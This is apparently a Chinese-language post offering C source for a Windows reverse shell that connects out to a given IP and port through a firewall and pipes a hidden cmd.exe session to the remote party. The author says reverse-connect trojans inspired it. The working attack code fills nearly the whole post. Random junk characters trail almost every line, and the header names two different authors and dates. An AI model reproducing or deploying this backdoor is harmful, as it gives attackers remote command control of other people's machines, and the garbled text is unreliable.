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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 .hX0c"f]b  
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/* ============================== (*6 m^  
Rebound port in Windows NT U@6jOZ  
By wind,2006/7 sno`=+|U]  
===============================*/ D<U 9m3  
#include dGW {l]N  
#include SyK9Is{8  
<nWKR,  
#pragma comment(lib,"wsock32.lib") 0n:?sFY>  
?;|@T ty%  
void OutputShell(); IKi{Xh]\  
SOCKET sClient; /gz:zThf{  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; #?{qlgv<p  
YijMF/Uyb  
void main(int argc,char **argv) S&4+ e:K  
{ /!3ZWXY\  
WSADATA stWsaData; /!GKh5|  
int nRet; 7%}ay  
SOCKADDR_IN stSaiClient,stSaiServer; e>l,(ql  
i:o}!RZ>  
if(argc != 3) ZFS7{:  
{  nbI= r+  
printf("Useage:\n\rRebound DestIP DestPort\n"); AGOx@;w  
return; 7}be>(  
} UJz#QkAio  
TE^7P0bh  
WSAStartup(MAKEWORD(2,2),&stWsaData); 0"EoC  
"S5S|dBc  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); XTJvV  
vSOT*0r  
stSaiClient.sin_family = AF_INET; EgTFwEj  
stSaiClient.sin_port = htons(0);  ep+  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); (1CJw:  
?Z q_9T7  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 4% HGMr  
{ AL$W+')  
printf("Bind Socket Failed!\n"); bGv* -;*  
return; L#D9@V'z  
} *q0`})IQ  
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stSaiServer.sin_family = AF_INET; #HeM,;Xp  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); q-3]jHChh  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2fJ{LC  
v:KX9A.  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) *5'.!g('  
{ D+Cm<ZT~  
printf("Connect Error!"); lT]=&m>  
return; Z@3l%p6V  
} ?d$"[lKX  
OutputShell(); $5,~JYcb  
} F|9+ +)  
Ia2(Km  
void OutputShell() ueDvMP  
{ @mf({Q>  
char szBuff[1024]; {<2>6 _z  
SECURITY_ATTRIBUTES stSecurityAttributes; =SAV|  
OSVERSIONINFO stOsversionInfo; 7^$)VBQ/  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; }j46L1T  
STARTUPINFO stStartupInfo; J$Fnm\  
char *szShell; hq#kvvi{f  
PROCESS_INFORMATION stProcessInformation; V<8K@/n@  
unsigned long lBytesRead; !}y1CA  
m9$a"$c  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); brh=NAzt  
#;[Bl=3(  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); q$[n`w-  
stSecurityAttributes.lpSecurityDescriptor = 0; ]H ~Y7\N-v  
stSecurityAttributes.bInheritHandle = TRUE; XphE loL  
2j&v;dmh<  
BOvF)4`  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); a+`D'?z  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); }`xdWY  
6<X%\[)n  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); FJeiY#us  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ESTM$k }X  
stStartupInfo.wShowWindow = SW_HIDE; i?>tgmu.  
stStartupInfo.hStdInput = hReadPipe; kA4@`YCl  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; [:h5}  
gl{B=NN  
GetVersionEx(&stOsversionInfo); h7]EB!D\A  
? }yfKU`  
switch(stOsversionInfo.dwPlatformId) 7]E m ,  
{ s"%lFA"-  
case 1: 4zjs!AK%  
szShell = "command.com"; 5G[x}4U  
break; LY 0]l$  
default: Y9Z]i$qS&k  
szShell = "cmd.exe"; Z^yNLF*&V  
break; " .4,."  
} m^V5*JIh  
_V2xA88  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); |A\a4f 'G  
"?3`  
send(sClient,szMsg,77,0); !E2W\chi  
while(1) ` qUX.  
{ o.m:3!RW  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); B(_WZa!  
if(lBytesRead) F]EBD8/b  
{ ;AX8aw,  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); j+rG7z){K  
send(sClient,szBuff,lBytesRead,0); r^0F"9eOL  
} +1rkq\{l  
else 7b[wu~'( n  
{ 5'KA'>@  
lBytesRead=recv(sClient,szBuff,1024,0); aUc|V{Jp  
if(lBytesRead<=0) break; /(hUfYm0  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); iEm ?  
} E5</h"1  
} M5g\s;y;  
XJ1=m   
return; u JY)4T  
}
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